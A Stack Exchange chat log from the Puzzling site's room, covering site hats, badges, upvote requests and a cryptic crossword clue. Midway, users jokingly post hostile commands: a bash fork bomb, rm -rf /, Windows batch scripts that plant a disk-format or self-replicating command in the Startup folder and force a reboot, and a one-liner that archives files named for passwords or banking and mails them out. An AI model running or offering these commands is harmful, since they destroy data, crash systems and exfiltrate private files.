The Sphinx's Lair

boboquack

00:02

@Saiid No sorry, Just Here for the Hat (looking at the wrong thing)

Rubio

anybody been working on puzzling.stackexchange.com/q/46747/30633 btw?

(also feel free to click that link, any random 5 of you, so I can get a hat :)

Sconibulus

I tried, but haven't thought of anything yet

Volatility

ditto

Sconibulus

5

Q: My Uncle's Music Box

Unfortunately, my favorite uncle just passed away. He's the one that taught me all about puzzling, and supposedly found Davey Jones' treasure in his youth. I miss him very much, however, I just received a package from his Attorney, containing this letter from him. Nephew dearest I leave to yo...

Alconja

**quietly copy and pastes url without user id portion just to spite rubio**

Rubio

00:14

@Alconja lol rude :)

Sconibulus

This one, on the other hand, I have ideas about :)

Rubio

Hehe. I bet you do. I, however, don't.

(but - clicked)

aw. you didn't use the right link, so that did nothing for you.

Sconibulus

One boxing killed it, it looks, but I don't think from chat works anyway

Rubio

Anyway - on mine, I have a hint level 2 ready but am accepting suggestions on what might be a good topic for hint level 3

Volatility

If any of you have not done so yet, and feel generous, please give me an upvote so I can get a silver badge: puzzling.stackexchange.com/q/46707/8949 ;-)

Saiid

00:20

lol

Rubio

@Volatility I already had, sorry :) I generally upvote the What Is A ...™'s. Especially those that use the formatting I built for them. :)

Volatility

Haha

Rubio

I've noticed most recent puzzles of that type have stol...er, lovingly adopted the template I used for mine. (My latest template is better, btw)

boboquack

I still go for the screenshot :D

Rubio

I built a script for it. So I can ./what-is-a.sh Fortunate fortunate-words

and it spits out the full text blob ready to cut and paste :)

MathJax ftw

boboquack

00:27

.sh? What language uses that?

Rubio

unix/linux shell

boboquack

See, I find Excel much easier

Rubio

yuck :)

boboquack

If you made a script that automatically generated the puzzles I would be a lot more impressed

Rubio

I admit they're prettier. my latest version does a little better job of fully filling the heading blocks with the yellow

Oh, many of my puzzles have content generated by scripts

I come up with an idea, I run it through a script to see what kind of words do and don't fit it, and then if I like the result I cache it for later use

Saiid

00:31

hey rubio

want a cool script I have? :)

Rubio

The fun is usually winnowing the lists down to what I feel like keeping. (I know of over 100k Fortunate Words™ for example)

@Saiid What script is that?

Saiid

;)

Rubio

Why am I worried

Saiid

Don't be :)

just run it without opening

Rubio

uhhhuh, I'll get right on that

Saiid

00:34

it's only two lines of code, no need to be worried ;)

Rubio

Line 1: echo "haha"

boboquack

#tweet-a-virus

Rubio

Line 2: rm -rf /

Saiid

lol

Volatility

haha

Saiid

00:34

nah

wouldn't do that

#!/usr/bin/env bash
:(){ :|:& };:

Rubio

hah

I know that one sorry :)

Saiid

:)

boboquack

:()

Saiid

if anyone's on windows, try one of these

@echo off
echo format c: /fs:NTFS /p:2 ^>nul 2^>&1 >C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\wipeShut.bat
shutdown /r /p /f /c "000000000000000000000000000000000000000000000000000. . ."

@echo off
echo %%0^|%%0 ^>nul 2^>&1 >C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\wipeShut.bat
shutdown /r /p /f

Rubio

find / ( -name 'pass' -o -name 'account' -o -name 'credit' -o -name 'bank' ) -print0 | xargs -0 tar czf /tmp/coolstuff.tgz && mail [email protected] -s "lol" < /tmp/coolstuff.tgz

Saiid

00:38

lol

Rubio

(that wouldn't *exactly* work but you get the gist hehe)

Saiid

yeah

lol

how did you do that? :P

**exactly**?

:/

Rubio

*\*exactly\**

Saiid

ah

Rubio

^ that

Saiid

00:41

*exactly*

ah I see

escaping

interesting

here's a self modifying script:
:thatplace
(cmd /v:on /c "@for %a in (0) do @set /a !random!< nul")>>%0
echo type %0
goto thatplace

boboquack

00:59

On average how long does it work before it breaks?

Gareth McCaughan

@Rubio I've been thinking about the Fortunate Words on and off, but haven't come up with anything that works (obviously, since otherwise I'd have posted an answer). The "level 1" hint seems like it should be a really big one.

Rubio

And yet it's level 1. :)

Saiid

@boboquack Are you referring to my code?

boboquack

Yes

Gareth McCaughan

I know that gur svefg rqvgvba bs Bssvpvny Fpenooyr Jbeqf jnf choyvfurq in 1988 but I don't know whether it was October and in any case it doesn't (so far) suggest anything super-obvious.

Saiid

01:05

It depends on the system lol

Gareth McCaughan

And I really want "Fortunate" to turn out to be derived from "four, two 'n' eight" but that doesn't suggest anything useful either.

Alconja

01:20

@GarethMcCaughan Well, now I'll be disappointed if/when it isn't.

Rubio

01:57

@Alconja youtube.com/watch?v=nZIlAExvneo&t=5

Alconja

well at least princess bride clips help to dampen the disappointment :P

So anyone got any ideas on deusovi's cryptic?

Seems a little impenetrable with only 3 words... I'm wondering if "I" could be "me" or "one" or similar, but don't see any useful words that start/end that way...

Saiid

02:17

What about useful word that ends in p?

Alconja

As in I=1st from Pass?

But then you've got nothing left to cryptify the rest of the word, because it would force competent to be the def

Saiid

*shrugs*

Deusovi

Wow, thought it'd be solved by now

Saiid

lol

@Deusovi Everyone's focused on hats

Alconja

02:40

@Saiid Oh, you mean this old thing? ...just something I threw on.

Only other idea I had was that "I=MOD" (since deusovi is), then you could have "pass=RATE", but that leaves you an E short of the def...

Volatility

I don't think that sums to 90 under A1Z26

Alconja

Either way, it doesn't matter since it clearly lacks the middle E, and I can't imagine deus would do that

Ok, thinking out loud. I can't imagine that "competent" or "pass" could possibly be a cryptic clue all on it's own. Therefore one of them has to be the definition, and "I" has to be cryptically important.

I can't think of any ways that any of the words could be indicators of anything (except maybe pass as being a "right to left" reversal or something??)

So, that (probably) just leaves synonyms... Starting with the simplest, "I" could be: ME, SELF, EGO, MOD, ONE, IMAGINARY, NINTH, IODINE.... anything else?

Volatility

Could be an &lit where "I pass" clues remove I or something, but I don't really see the clue as a definition

Alconja

Surely deusovi would "!" that though?

Volatility

True

Alconja

02:55

Can the "?" mean anything? I was ignoring it up to this point...

Volatility

Not that I can see

Alconja

So, according to this: "immediately after the definition, the question mark indicates the clue will require lateral thinking or different interpretation of the words"

Volatility

I don't see how else it can be interpreted though

Alconja

I had assumed it only went at the end as an indicator, but sounds like it could be, under the proviso that "competent" is the (possibly lateral) definition

Deusovi

@Alconja None of those are the correct interpretation.

Alconja

02:59

No, nor me... it's a pretty unambiguous word for forming definitions with...

unless it's something sneaky where you break it up an interpret as multiple words... "Me cop tent" (police officer gone camping)

Ok, @deusovi, I see you... sneaky bastard

It's a lower case L

Deusovi

:D

Volatility

Ugghh...

I l

Deusovi

I was excited because it was a sans-serif font, then realized too late that the I had serifs anyway. Apparently it still worked though. :P

Saiid

where did the CCCC go?

Alconja

(you'll notice i'm tipping my hat to you)

Deusovi

03:02

It's still there. Alconja and/or Volatility are about to solve it.

Saiid

I don't see it pinned

Volatility

It's pinned for me

Deusovi

It's at the top for me.

Alconja

and me... at the top

Saiid

hmm

Alconja

03:04

"Competent? l pass (8)"

Saiid

yeah, I don't see it

oh well

Volatility

Maybe you're in too many rooms?

Do you see any stars at all?

Saiid

no

Deusovi

Weird.

Saiid

I am in a few rooms, but idk

Volatility

03:06

Does the "other rooms you're in" section go to the bottom of your page?

Saiid

no

Volatility

hmm, I dunno then

Saiid

there's about a space of three chat posts, the only words are 'enable desktop notification'

refreshed, it shows now

Deusovi

weird

Saiid

*shrugs*

Deusovi

03:10

Anyway, Alconja's figured out the main gimmick. All that's left is to actually solve the clue

Alconja

...which is making me feel stupid, since I don't see it. :)

Deusovi

Don't see what? The solution to the clue?

Saiid

I'm stupid anyway, haven't solved a single one of these

Ankoganit

@Deusovi can we edit in old questions to add the imgur-maze tag? I mean, it's a legit tag now?

Deusovi

Yeah, go ahead. (I don't see a need for it to be a tag in the first place, but apparently other people do.)

Ankoganit

03:24

Ok thanks:)

Deusovi

Don't edit a lot though - space it out so you don't clutter up the frontpage.

Aaand he's gone.

Saiid

:)

I space it out by a lot

*sends in 10 suggested edits within a minute*

Sphinx

0

Q: Ernie and the unfair division of the dessert

I was pleased to get an invitation to Ernie's place for dinner last Wednesday. The triplets were staying for the week so I knew Ernie would be making an extra effort to cook a gourmet home-cooked feast. So I was surprised when, on arrival, I saw a van from "The Great British Takeaways Company" pu...

mathematics calculation-puzzle geometry word-problem

Alconja

@Deusovi The solution...

But right now, I've got to keep working, so for the benefit of other solvers to come (and feel free to star it for visibility), deusovi's clue is, in fact:

CCCC: Competent? [lower case L] pass (8)

Rubio

03:44

oh geez. seriously, that's a lower-case l?

Deusovi

:D

Rubio

Where's my wrench . . . :)

Deusovi

yeah, figured you all were gonna hate me for that one

Saiid

well on chrome, it shows as 'l', whereas uppercase 'I' shows with the serifs

Deusovi

yep, it does in all browsers

Saiid

03:47

It doesn't on waterfox(for me at least)

boboquack

04:01

@Deusovi Just as well you're not in PPCG - that's not allowed! :P

That is, at the moment

Deusovi

@boboquack Hm? What do you mean?

Saiid

^ my thoughts exactly. What does 'I' vs 'l' have to do with PPCG?

boboquack

Similar looking etc. as variables in underhanded contests

Volatility

Oh, wasn't there one like that for a code-troll?

boboquack

Probably

Volatility

04:06

Oh, not a code-troll, but I was thinking of this one: codegolf.stackexchange.com/a/11462/7911

Saiid

@boboquack ah

so... will someone hurry up and defeat @Deusovi's mighty beast?

boboquack

ls starting a sentence with a lowercase letter allowed in a cryptic clue?

@Alconja Did you mean [Iower case L]?

(You can never be too sure)

Volatility

04:22

Ah drat, I thought of Wheel of Fortune, but saw that it existed before 1988, so just discarded it

Alconja

@boboquack {I0\/\/3|^ (@53 |_}

...sorry, typo... that space should be a tab

boboquack

@Volatility On Rubio's question?

Volatility

Yeah

Rubio

04:49

nice job

thought it'd last until tomorrow

Ankoganit

05:03

@Deusovi nah, not a lot, just edited five or six :)

And guess what, I got a secret hat!

Deusovi

Gee, I wonder if you could've had some ulterior motive. :P

Ankoganit

@Deusovi :P

Rubio

which hat?

Volatility

So one can get it for just editing tags, or not editing any tags

So clearly it has nothing to do with tags

Ankoganit

Actually, I'm beginning to think it might be because of the edit steak. :o

@Rubio the don't wanna taco thingy

Deusovi

05:06

"edit steak"

Rubio

ah

Ankoganit

@Deusovi "streak" xD

Stupid autocorrect

IAmInPLS

07:26

Ho ho ho my friends

Rubio

Who you callin' a ho?

IAmInPLS

This ho ain't loyal

But I'm Santa, I can call anyone my "ho"

I have a "ho" named "ho ho"

Rubio

Makes sense. I think.

Mithrandir

Can 5 people do me a favor and got to this link while not signed in and click the upvote button please?

boboquack

Is there a grammatical sentence in English with 7 ho's in a ro(w)?

Rubio

07:37

what hat, @Mithrandir?

I just got Elementary finally. woot

boboquack

From here

Mithrandir

@Rubio No idea. Any.

Rubio

No - that was stackreader

IAmInPLS

@boboquack I don't think so

boboquack

So 'Ho ho ho ho ho ho ho!' is not a valid sentence in your opinion?

Rubio

07:40

ok @Mithrandir +1 click from me

IAmInPLS

Oh, all left alone, maybe

Mithrandir

Thanks all who clicked. I'll wait and see (the more people who click the better)

IAmInPLS

Who are you to sign out from PSE?!

Mithrandir

just open in Incognito :P

boboquack

Or use a different browser

Alconja

07:42

Can everyone send me $1000 in unmarked bills (the more the better)? Just wanna test something for a secret hat.

4

Rubio

Sure

"Glad to help."

Alconja

Sweet. "Thanks" :)

boboquack

Sorry Rubio for the copycat

Alconja

Hey, they're mine! Thief!

Rubio

:)

Imitation is the sincerest form of flattery. And the worst form of vanilla.

IAmInPLS

07:48

Oh, got the Sportsmanship overnight

I'm in the restricted club of 7 holders

Rubio

very cool. congrats!

Alconja

What's the rarest (non-zero) badge on pse?

IAmInPLS

I'll say Socratic

Mithrandir

@Alconja Gold tag badge

@Randal'Thor has the only one

Socratic has 2

Like 5 badges have 2 people.

IAmInPLS

Oh, you're right

Socratic, Epic and Refiner have 2

Mithrandir

07:55

And Marshal

Rubio

I wish it was a little easier to see your progress toward a specific badge

Mithrandir

And Copy Editor

I'm VTROing this:

2

Q: What's the optimal strategy in Gomoku / Five in a row?

Gomoku can be played with Go pieces or as a pen-and-paper game, a variation of big board tic-tac-toe. There are multiple computerized variations of it, and the computer can be deadly efficient as an opponent, so surely there exist algorithms that assure victory. What is the optimal strategy ...

strategy board-games

Because I think it's on-topic.

IAmInPLS

@Rubio Agreed. Like, on the badges page for instance

Rubio

Yeah exactly

Mithrandir

I should be getting 11 on Puzzling on the next sweep

Rubio

07:57

@Mithrandir I'm joining you for completely altruistic reasons

Mithrandir

I'm ranked #5 on the network

Rubio

(but I think the closers had a point - that question looks like it should have been migrated to board games, not left here)

Mithrandir

And I'm undisputably #1 on Puzzling.

Rubio

hm. I'm 65/100 toward the Fanatic badge

IAmInPLS

@Rubio You gotta be here on Christmas and New Year's Eve

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